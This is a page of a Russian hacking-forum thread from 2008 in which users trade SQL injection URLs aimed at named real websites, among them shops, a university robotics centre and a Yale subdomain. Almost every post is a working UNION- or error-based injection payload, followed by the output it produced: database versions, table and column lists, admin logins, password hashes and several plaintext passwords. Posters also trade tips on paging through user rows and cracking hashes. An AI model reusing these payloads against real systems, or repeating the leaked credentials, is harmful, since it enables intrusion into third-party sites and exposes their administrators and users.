SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 265 of 798
  1. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    Межшкольный Эстетический Центр
    Code:
    http://www.mec-krasnodar.ru/content.php?id=999999999'/**/UNION/**/SELECT/**/1/*
    photoisland
    Code:
    http://www.photoisland.net/pi_art_text.php?lng=1&article_id=999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6/*
    Компания GFI разработчик игр
    Code:
    http://www.gfi.su/index1.php?langid=1&idt=999999999'/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
    Психологический навигатор
    Code:
    http://www.psynavigator.ru/articles.php?code=999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9/*
    версия бд - 5

    Медицинское оборудование
    Code:
    http://diamedcom.ru/php/content.php?group=1&id=999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*
    Formul.Ru Итальянская мебель,кухни из Италии, кровати, гостиные, спальни,кухонные мойки, матрасы
    Code:
    http://www.formul.ru/privacy.php?n=999999999'/**/UNION/**/SELECT/**/1,2,3,4/*
    Доски объявлений. Бесплатная доска объявлений
    Code:
    http://www.1000dosok.ru/doski.php?kr=999999999'/**/UNION/**/SELECT/**/1/*
    Производство и продажа шкафов купе, заказ прихожих, гардеробных и обувниц
    Code:
    http://www.s-m-c.ru/about/index.php?idmenu=999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8/*
    ООО "Форпост" - продажа мебели оптом и в розницу
    Code:
    http://www.forpost-perm.ru/spec.php?action=detail&id=999999999/**/UNION/**/SELECT/**/1/*
    mebelshop.kiev.ua | магазин мебели
    Code:
    http://mebelshop.com.ua/index_office.php?param=38&chair_marka=999999999/**/UNION/**/SELECT/**/1,2,3/*
    мебель для кухни
    Code:
    http://www.mebelhall.ru/gallery.php?menu=kux&foto=999999999'/**/UNION/**/SELECT/**/1,2,3,4,5,6,7/*
    Мебель: стулья, столы, журнальные столики, кресла, диваны
    Code:
    http://anymebel.ru/index.php?shops=999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7/*
    Мебель на любой вкус
    Code:
    http://mebel-miheeff.ru/catalog.php?cat=999999999/**/UNION/**/SELECT/**/1/*

    со скулями ухожу в бессрочный отпуск)))


    RuDDicK, боян это када выложенная тобой тема уже выкладывалась или обсуждалась и ты ее повторяешь.
     
    #5281 bag, 18 Apr 2008
    Last edited: 18 Apr 2008
  2. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    без проблем:
     
    #5282 -=megahertz=-, 18 Apr 2008
  3. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=@@version--

    Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Developer Edition on Windows NT 5.0 (Build 2195: Service Pack 4

    http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=system_user--

    generaluser


    http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=db_name()--

    preview_kccla

    http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=(select+top+1+table_name+from+information_schema.tables)--


    http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('STATUS','Admin','Admin_Login','Admin_Login_Level'))--

    http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=(select+top+1+column_name+from+information_schema.columns+where+table_name='Admin'+and+column_name+not+in+('AID','Password'))--

    http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=(select+top+1+column_name+from+information_schema.columns+where+table_name='Admin_Login'+and+column_name+not+in+('ID','AdminID','Login','IP','Date_Time'))--

    Криважопая база, складывается такое впечатление что данные находятся не в своих столбцах
    так например в id хранятся мылы и то не с первой записи, а первая пуста. И логины вроде в AdminID короче что попало(

    это логины один какой-то подходит к пасу ниже

    logins:
    adminweb
    adminkcc
    adminpat
    pat4896



    id:[email protected]
    pass:choi1979
     
    #5283 truelamer, 18 Apr 2008
    1 person likes this.
  4. reversys

    reversys Elder - Старейшина

    Joined:
    21 Nov 2007
    Messages:
    139
    Likes Received:
    57
    Reputations:
    7
    http://www.photoshopchop.com/tutorials/viewcat.php?id=10/**/union/**/select/*%20*/null,user(),concat(username,0x3e,password),null,null,database(),null,%20null,null/**/from/**/admin/**/LIMIT/**/139,1/*

    http://www.tutorial-s.com/viewcat.php?id=4/**/union/**/select/*%20*/null,user(),concat(username,0x3e,password),null,null,database(),null,%20null,null/**/from/**/admin/**/LIMIT/**/4985,1/*

    http://readtutorials.com/viewcat.php?id=184/**/union/**/select/*%20*/null,user(),concat(username,0x3e,password),null,null,database(),null,%20null,null/**/from/**/admin/**/LIMIT/**/4111,1/*

    http://www.capitaltutorials.com/viewcat.php?id=7/**/union/**/select/*%20*/null,user(),concat(username,0x3e,password),null,null,database(),null,%20null,null/**/from/**/admin/**/LIMIT/**/1171,1/*
     
    #5284 reversys, 19 Apr 2008
    Last edited: 19 Apr 2008
    1 person likes this.
  5. CraZee

    CraZee Member

    Joined:
    27 Mar 2007
    Messages:
    1
    Likes Received:
    7
    Reputations:
    -5
    От меня немножко уязвимостей в Joomla:

    http://4web.ws/index.php?option=com_puarcade&Itemid=99999&fid=-1+UNION+SELECT+concat(username,0x3a,password)+FROM+jos_users/*
    http://www.maybach-manufaktur.ru/news/?id=-9+union+select+1,2,3,4,concat(login,0x3a,pwd),6,7,8,9+from+maybach_users/*
    http://www.el-edu.com/index.php?option=com_puarcade&Itemid=99999&fid=-1+UNION+SELECT+concat(username,0x3a,password)+FROM+jos_users/*
     
    #5285 CraZee, 19 Apr 2008
  6. Momiji

    Momiji Elder - Старейшина

    Joined:
    25 Aug 2007
    Messages:
    495
    Likes Received:
    348
    Reputations:
    127
    lmsports.ru
    Code:
    http://www.lmsports.ru/forum.html?page=&show=&msgid=-1+union+select+concat_ws(0x3,version(),user(),database())/*
    5.0.45-log[email protected]u81617
    Code:
    http://www.lmsports.ru/forum.html?page=&show=&msgid=-1+union+select+concat_ws(0x3,email,pass)+from+maillist+limit+0,1/*
    [email protected]oBJsHzBk
     
    #5286 Momiji, 19 Apr 2008
    1 person likes this.
  7. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    77
    Likes Received:
    64
    Reputations:
    7
    http://www.vmprotect.ru
    продавцы хорошего протэктора.

    Code:
    http://www.vmprotect.ru/news.php?id=389+UnIOn+SelEct+1,2,3,concat_ws(0x3a,version(),user(),database()),5/*
    5.0.45-community-nt-log:[email protected]:1gb_vmprotect

    Code:
    http://www.vmprotect.ru/news.php?id=389+UnIOn+SelEct+1,2,3,concat_ws(0x3a,username,user_password),5+from+phpbb_users+limit+1,1/*
    Admin:7fbab0f8d4e73b606eb88383e22b72bc

    =======================
    есть форум phpbb, интересная таблица vmprot_clients
     
    #5287 big_BRAT, 19 Apr 2008
    4 people like this.
  8. .acme

    .acme Elder - Старейшина

    Joined:
    8 Nov 2007
    Messages:
    126
    Likes Received:
    36
    Reputations:
    4
    kiberpank.ru
    Сказка на ночь: Как поимели "киберпанков". Оказалось все банально.


    user: [email protected]
    database: u46687_kiberpank
    version: 5.0.45-log

    Смотрим юзверей:

    Enjoy.
     
    #5288 .acme, 19 Apr 2008
    4 people like this.
  9. vp$

    vp$ Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    65
    Likes Received:
    68
    Reputations:
    19
    МГТУ им Н.Э.Баумана
    научно-учебный центр "роботехника"
    Code:
    http://www.robot.bmstu.ru/index.php?c=flud&n=467600000+union+select+1,2,3,concat(name,0x3a,hash,0x3a,status),5+from+peoples/*
    Акилин Андрей Алексеевич:5fa63f31b9b7c2a6769abc8c21a93a09:1 пасс 1119862833
    а куда вставлять хз, есть форма входа
    _http://www.robot.bmstu.ru/kaf_test/
    но тут нужен логин, которого в табле нет((
    Code:
    17:archive
17:--1:dt
17:--2:text
17:--3:user
17:--4:status
17:--5:coment
18:board
18:--1:data
18:--2:name
18:--3:mail
18:--4:content
18:--5:status
18:--6:hash
19:club
19:--1:content
20:fluders
20:--1:ip
20:--2:host
20:--3:fluder
20:--4:message
21:materials
21:--1:discipline
21:--2:matname
21:--3:prepod
21:--4:link
22:news
22:--1:data
22:--2:title
22:--3:content
23:pages
23:--1:codename
23:--2:description
23:--3:owner
24:peoples
24:--1:data
24:--2:name
24:--3:mail
24:--4:content
24:--5:status
24:--6:hash
25:prepod
25:--1:name
25:--2:description
25:--3:login
25:--4:pass
25:--5:status
26:sessions
26:--1:login
26:--2:type
27:subpage
27:--1:codename
27:--2:content
     
    #5289 vp$, 20 Apr 2008
    2 people like this.
  10. CaNNabi$

    CaNNabi$ Elder - Старейшина

    Joined:
    21 Jan 2008
    Messages:
    62
    Likes Received:
    110
    Reputations:
    0
    http://www.taboschar.net/
    Code:
    http://www.taboschar.net/AllMyGuests/index.php?AMG_open=comments&AMG_id=null+UNION+SELECT+1,2,3,concat_ws(0x203a20,user_name,user_password,user_email),5,6,7+from+allmyphp_user+where+user_id=1--
    Admin:3d89b9b8a6d81b112d4dc41d11ee5375:[email protected]
     
    #5290 CaNNabi$, 20 Apr 2008
  11. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    99
    Likes Received:
    48
    Reputations:
    5
    http://www.thefump.com/lyrics.php?id=-99999+union+select+1,2,3,4,id,6,7,8,9,10,concat_ws(0x3a,username,password,email),12,13+from+users/*

    USER: root@localhost
    VERSION: 5.0.27-standard
    DATABASE: thefump_com_-_fump

    всё как на ладоне)
     
    #5291 beerhack, 20 Apr 2008
    Last edited: 6 Jul 2009
    2 people like this.
  12. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    http://www.utinam.fr/english/boutique/index.php?FAM_ID=2&RUB_ID=-6+UNION+SELECT+1,2,concat(user,char(58),password),4,5,6,7,8+FROM+mysql.user/*

    root:admin
     
    #5292 Xszz, 21 Apr 2008
    2 people like this.
  13. Tyc00n

    Tyc00n Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    30
    Likes Received:
    25
    Reputations:
    -1
    http://l2world.uz/dp/m-search.php?itemname=&monsterid=25009'
    Гляньте ,может можно раскрутить ?
     
    #5293 Tyc00n, 21 Apr 2008
  14. Спайдер

    Спайдер Banned

    Joined:
    18 Apr 2008
    Messages:
    5
    Likes Received:
    13
    Reputations:
    2
    http://ataman-kpc.ru/?art_id=-8+union+select+1,2,version(),4,5,6,7,8
     
    #5294 Спайдер, 21 Apr 2008
    4 people like this.
  15. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    Доводи до конца ...

    ------------------------------------------------------------------------------------------
    ataman:225ata90man_16
     
    #5295 159932, 21 Apr 2008
    1 person likes this.
  16. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    Интернет телевидение
    http://tv-portal.ru/index.php?kanal=-57+UNION+SELECT+1,2,concat(id,0x3a,name,0x3a,pass),database(),5,user(),7,8,9,10,version()+from+users+limit+1,1/*
    database - [email protected]
    user - db_kokos32_2
    version - 4.1.21-log

    меняем limit+1(2,3,4...),1/* получаем ИД,Имя,Пароль
     
    #5296 -=megahertz=-, 21 Apr 2008
    1 person likes this.
  17. NFM

    NFM Reservists Of Antichat

    Joined:
    16 Jan 2006
    Messages:
    308
    Likes Received:
    191
    Reputations:
    22
    2-=megahertz=- только хз куда эти логины и пассы= )
    там авторизаций ничего нету =) а в админку пассы не подходят
     
    #5297 NFM, 21 Apr 2008
  18. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    NFm попробуй подбери другую таблицу... я кроме юзерс ничего не искал...
     
    #5298 -=megahertz=-, 21 Apr 2008
  19. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    Code:
    ht_tp://[COLOR=Magenta]uskniedernsill.us.funpic.de[/COLOR]/AllMyGuests0.4.1/index.php?AMG_open=comments&AMG_id=111%20UNION+SELECT+1,2,3,%20concat_ws(0x203a20,user_name,user_password,user_email),5,6,7+from+allmyphp_user+where+user_id=1--
    stefanhofer : e8cd3fd55a1f0100bb692431c649844c :[email protected]
    Пробую вскрыть хэш!!!
     
    #5299 kair, 21 Apr 2008
    Last edited: 21 Apr 2008
    1 person likes this.
  20. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    http://rwjcsp.yale.edu/community.php?id=123123123+union+select+1,concat_ws(0x2f,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,id,17,18,20,21,22,23,24,25+from+users+limit+1,1/*
    version() : 4.0.24-log database():rwj user(): [email protected]

    http://rwjcsp.yale.edu/community.php?id=123123123+union+select+1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,id,17,18,20,21,22,23,24,25+from+users+limit+1,1/*




    http://www.moscowbooks.ru/news/view.asp?id=-1+or+1=@@version--
     
    #5300 AkyHa_MaTaTa, 22 Apr 2008
    Last edited: 22 Apr 2008
    2 people like this.
(You must log in or sign up to post here.)
Page 265 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.